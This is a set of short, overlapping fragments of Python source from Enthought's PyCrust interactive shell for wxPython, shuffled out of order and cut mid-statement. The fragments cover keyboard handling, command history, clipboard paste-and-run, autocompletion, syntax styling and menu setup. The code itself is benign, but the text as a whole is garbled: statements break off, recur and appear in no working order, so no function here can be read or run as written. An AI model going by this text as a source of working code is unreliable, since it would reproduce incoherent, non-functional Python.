"1241712: # Is there a 'name' for the Enter key? self.processLine() def topLevelComplete(self):",
"\\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell",
"be restored by self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr =",
"keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the",
"allow line deletion. elif controlDown and key in (ord('L'), ord('l')): pass # Don't",
"self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically pop up command completion options?",
"ignored in this handler. if key == WXK_RETURN: pass elif key in self.autoCompleteKeys:",
"= self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos()",
"busy = wxBusyCursor() self.more = self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for",
"in the history; it gets incremented as you # retrieve the previous command,",
"Add the dictionary that was passed in. if locals: shellLocals.update(locals) # Create a",
"= self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2,",
"> 0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch to fix bug in",
"the current position in the history; it gets incremented as you # retrieve",
"and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() #",
"if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert a line",
"OnKeyDown calls event.Skip() for the corresponding event.\"\"\" # Prevent modification of previously submitted",
"return input def raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\" if prompt:",
"= (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces",
"and key not in NAVKEYS and not self.CanEdit(): pass # Paste from the",
"up the history buffer for the text in front of the cursor.\"\"\" if",
"want to automatically pop up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255,",
"!= self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return",
"event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked()",
"\"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self,",
"wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local imports from",
"a close event. # In the close event handler we can make sure",
"stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n',",
"autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation prompt positions.",
"command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text",
"on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open():",
"self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event handling to take place. event.Skip()",
"| wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event):",
"job, but it works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] ==",
"'times' : 'Times New Roman', 'mono' : 'Courier New', 'helv' : 'Lucida Console',",
"len(history): self.historyIndex = newindex if 0 <= newindex <= len(history)-1: command = history[self.historyIndex]",
"command from the editor. The command may not necessarily be valid Python syntax.\"\"\"",
"previous command to the list. commands.append(command) # Start a new command, which may",
"key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return",
"\\ or (shiftDown and not controlDown and key == WXK_INSERT): self.Paste() # Paste",
"entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in",
"was 2 points too large. So we need to reduce the font size.",
"a sizing bug on Win platform. # The font was 2 points too",
"self.OnHistoryReplace(step=-1) # Insert the previous command from the history buffer. elif (shiftDown and",
"1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT,",
"-= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine()",
"in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard, including prompts. elif",
"menu items based on current status.\"\"\" id = event.GetId() if id == wxID_UNDO:",
"space. #*** styleBefore = self.GetStyleAt(caretPos - 1) # Check before. if charBefore and",
"clipboard as enClipboard sys.ps3 = '<-- ' # Input prompt. NAVKEYS = (WXK_END,",
"rstrip: command = command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command",
"0 if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self,",
"if command == '': self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command)",
"else: # GTK faces = { 'times' : 'Times', 'mono' : 'Courier', 'helv'",
"the last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0 # Keep",
"232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text",
"# Other applications, like PythonCard, may choose to hide rather than # quit",
"to the beginning of the command or line. Shift+End Select to the end",
">= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex))",
"= self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while",
"OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree",
"to the end of the line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C",
"Python syntax.\"\"\" # XXX Need to extract real prompts here. Need to keep",
"import clipboard as enClipboard sys.ps3 = '<-- ' # Input prompt. NAVKEYS =",
": 'Lucida Console', 'other' : 'Comic Sans MS', 'size' : 10, 'lnsize' :",
"self.autoCompleteKeys: # Usually the dot (period) key activates auto completion. # Get the",
"try: self.prompt() for command in file.readlines(): if command[:6] == 'shell.': # Run shell",
"WXK_DOWN) \\ or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the",
"> self.promptPosEnd: event.Skip() # Only allow these keys after the latest prompt. elif",
"in NAVKEYS and not self.CanEdit(): pass # Paste from the clipboard. elif (controlDown",
"> 0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1:",
"self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command to the command history.\"\"\" #",
"self.GetStyleAt(caretPos - 1) # Check before. if charBefore and chr(charBefore) in '[]{}()' \\",
"autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if",
"max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = [] for item in",
"# Insert this command into the history, unless it's a blank # line",
"wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\",
"not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0)",
"down event handler.\"\"\" # Prevent modification of previously submitted commands/responses. key = event.KeyCode()",
"return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text which may",
"the interpreter's local namespace. try: self.setLocalShell() except: pass # Do this last so",
"10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This",
"is a semi-transparent facade, in that all attributes of other are still accessible,",
"str(sys.ps2) ps2size = len(ps2) # This is a total hack job, but it",
"to the end of the command. command = self.GetTextRange(stoppos, currpos) if command ==",
"fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after",
"from wx.py.version import VERSION # local imports from .drag_and_drop import PythonObject from .drag_and_drop",
"it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if",
"reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size']",
"complete control over their # environment. They can override anything they want. try:",
"range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] =",
"add standard menu items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT,",
"== ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos)",
"\\ self.python_obj_paste_handler is not None: # note that the presence of a PythonObject",
"self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): # The left paren activates a call",
"enough for now but later we want to send a close event. #",
"matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from",
"controlDown = event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos",
"sys.stdin = self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is",
"hit Enter. self.historyIndex == -1 means # you're on the current command, not",
"later we want to send a close event. # In the close event",
"def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in a popup bubble thingie.\"\"\"",
"command = command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text without a leading",
"elif key in self.autoCompleteKeys: # Usually the dot (period) key activates auto completion.",
"other are still accessible, even though only some are visible to the user.\"\"\"",
"= [] self.python_obj_paste_handler = None # Add the current working directory \".\" to",
"incremented as you # retrieve the previous command, decremented as you retrieve the",
"dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try: if",
"input def raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\" if prompt: self.write(prompt)",
"self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we",
"\"\"\"Return list of magic attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive',",
"+ '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the normal event handling",
"__revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None,",
"= sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler =",
"up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\",
"= self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text",
"or line. Shift+End Select to the end of the line. End Go to",
"as part of builtins. This simply sets \"close\", \"exit\" and \"quit\" to a",
"as you retrieve the # next, and reset when you hit Enter. self.historyIndex",
"\"\"\"Quit the application.\"\"\" # XXX Good enough for now but later we want",
"the current history position and loop back # to the beginning if we",
"self.write(command) # Process the command if the 'Enter' key was pressed: key =",
"self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if len(completions) ==",
"if text is selected and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def",
"Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__ + \\",
"wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check after. if braceAtCaret < 0:",
"Ctrl+Return (Cntrl+Enter) is used to insert a line break. elif controlDown and key",
"bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos",
"Create the command history. Commands are added into the front of # the",
"tip) def historyShow(self, prefix=''): items = [] for item in self.history: item =",
"return 'Wrapping is not available in this version of PyCrust.' def zoom(self, points=0):",
"paren activates a call tip and cancels # an active auto completion. if",
"# Copyright (c) 2005, Enthought, Inc. # All rights reserved. # # This",
"the text in front of the cursor. elif key == WXK_F8: self.OnHistorySearch() #",
"else: self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface and color for lexer.\"\"\"",
"id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo())",
"# del self.interp pass def config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1,",
"and not self.topLevelComplete(): event.Skip() # Don't toggle between insert mode and overwrite mode.",
"ps3. If this is a continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading",
"import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the close",
"def runfile(self, filename): \"\"\"Execute all commands in file as if they were typed",
"line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command =",
"the same as the last command. if command != '' \\ and (len(self.history)",
"back to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''):",
"and key == WXK_UP) \\ or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1)",
"cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd()",
"controlDown and not shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() #",
"else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if text is selected and",
"ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr(",
"== WXK_DOWN) \\ or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert",
"added to the size of all fonts. It may be positive to magnify",
"currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return",
"# Add the current working directory \".\" to the search path. sys.path.insert(0, os.curdir)",
"current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command =",
"text is selected and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self):",
"wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd",
"This is a total hack job, but it works. text = self.GetCurLine()[0] line",
"3, 2): faces['size'] -= 2 faces['lnsize'] -= 2 else: # GTK faces =",
"\\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION)",
"points is added to the size of all fonts. It may be positive",
"event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree =",
"if rstrip: command = command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text without",
"for wxPython < 2.3.3. if charAfter < 0: charAfter = 32 # Mimic",
"ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line)",
"WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is",
"Interface' revision = __revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods =",
"EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id,",
"in range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l]",
"except: pass # Assign some pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords()",
"is used to submit a command to the interpreter. if not controlDown and",
"the shell.\"\"\" if text: if not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText)",
"Update', 'Automatically update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show",
"name = 'PyCrust Shell' revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\",
"non-continuation prompt. elif key == WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos",
"self.GetCurrentPos() # The text up to the cursor is what we search for.",
"= self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after each",
"0 if isreading: prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt",
"for command in self.history: if command[:n] == prefix and command not in matches:",
"'')): self.historyShow() else: self.insertLineBreak() # If the auto-complete window is up let it",
"startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)'",
"warranty under the terms of the BSD # license included in enthought/LICENSE.txt and",
"event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event):",
"item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next History item. Alt+N",
"command or line. Shift+End Select to the end of the line. End Go",
"= wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo",
"command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in the tree view',",
"= 0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) #",
"if isreading: skip = 1 else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos()",
"Interpreter else: Interpreter = InterpClass # Create default locals so we have something",
"# Thanks for using Enthought open source! # # Author: Enthought, Inc. #",
"and key == WXK_DELETE): self.Cut() # Copy to the clipboard. elif controlDown and",
"user preferences. self.config() # Display the introductory banner information. try: self.showIntro(introText) except: pass",
"the history buffer. elif (shiftDown and key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) #",
"pending a response from the user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete",
"in the tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the",
"= event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif",
"= sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler = None # Add",
"id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE:",
"= None prefix = self.getCommand(rstrip=0) n = len(prefix) if n > 0: self.historyMatches",
"\"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\")",
"= PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if text is",
"self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass =",
"self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll()",
"self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display",
"pass # Paste from the clipboard. elif (controlDown and not shiftDown \\ and",
"self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text in",
"self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep",
"= list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder: command = self.history[i]",
"ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard, including prompts. elif controlDown and",
"== WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter)",
"import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local imports from .drag_and_drop",
"PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data",
"selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW,",
"ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) #",
"= len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # This is a total",
"event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def",
"pressed: key = event.GetKey() if key == 28 or key == 1241712: #",
"thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos =",
"= os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt for",
"self.EnsureCaretVisible() else: event.Skip() # # The following handlers modify text, so we need",
"item. Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve Next History item. Shift+Up",
"if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos)",
"= 'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another",
"= self.reader reader.isreading = 1 self.prompt() try: while not reader.input: wxYield() input =",
"command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip()",
"key == 28 or key == 1241712: # Is there a 'name' for",
"in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n')",
"self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n = len(prefix)",
"self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self,",
"and key == WXK_INSERT): self.Paste() # Paste from the clipboard, run commands. elif",
"for the corresponding event.\"\"\" # Prevent modification of previously submitted commands/responses. if not",
"list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class",
"pass # Assign some pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except:",
"key == WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from the",
"history buffer for the text in front of the cursor.\"\"\" if not self.CanEdit():",
"= command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep",
"autoindent as necessary.\"\"\" isreading = self.reader.isreading skip = 0 if isreading: prompt =",
"text = dialog.GetValue() return text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution",
"'\\n') lines = text.split('\\n') commands = [] command = '' for line in",
"run commands. elif controlDown and shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun()",
"_getAttributeNames(self): \"\"\"Return list of magic attributes to extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete',",
"from wx.wx import * from wx.stc import * import keyword import os import",
"Add the current working directory \".\" to the search path. sys.path.insert(0, os.curdir) #",
"wxPython < 2.3.3. if charAfter < 0: charAfter = 32 # Mimic a",
"not in NAVKEYS and not self.CanEdit(): pass # Paste from the clipboard. elif",
"something more interesting, like write to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert",
"text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2 and line >",
"the shell as if it was typed in directly. >>> shell.run('print \"this\"') >>>",
"# the list (ie. at index 0) as they are entered. self.historyIndex #",
"[] for item in self.history: item = item.replace( '\\n', '\\\\n' ) if (prefix",
"if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >=",
"!= self.GetSelectionEnd() # Return (Enter) is used to submit a command to the",
"to the list. commands.append(command) # Start a new command, which may be multiline.",
"'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all shell-related",
"ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE",
"== WXK_DELETE): self.Cut() # Copy to the clipboard. elif controlDown and not shiftDown",
"to quit. # Other applications, like PythonCard, may choose to hide rather than",
"the command between the prompt and the cursor. # Add the '(' to",
"self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command",
"class ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\" def createMenus(self): m =",
"def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event):",
"= self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if len(completions)",
"Home needs to be aware of the prompt. elif key == WXK_HOME: home",
"handler.\"\"\" # Prevent modification of previously submitted commands/responses. key = event.KeyCode() controlDown =",
"Paste from the clipboard. elif (controlDown and not shiftDown \\ and key in",
"self.SetSelection(endpos, startpos) # We've now warped into middle of the history. self.historyIndex =",
"m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m =",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self,",
"self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu)",
"Thanks for using Enthought open source! # # Author: Enthought, Inc. # Description:",
"self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL,",
"command = history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step):",
"Paste from clipboard. Ctrl+Shift+V Paste and run multiple commands from clipboard. Ctrl+Up Arrow",
"was passed in. if locals: shellLocals.update(locals) # Create a replacement for stdin. self.reader",
"__setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed by a single",
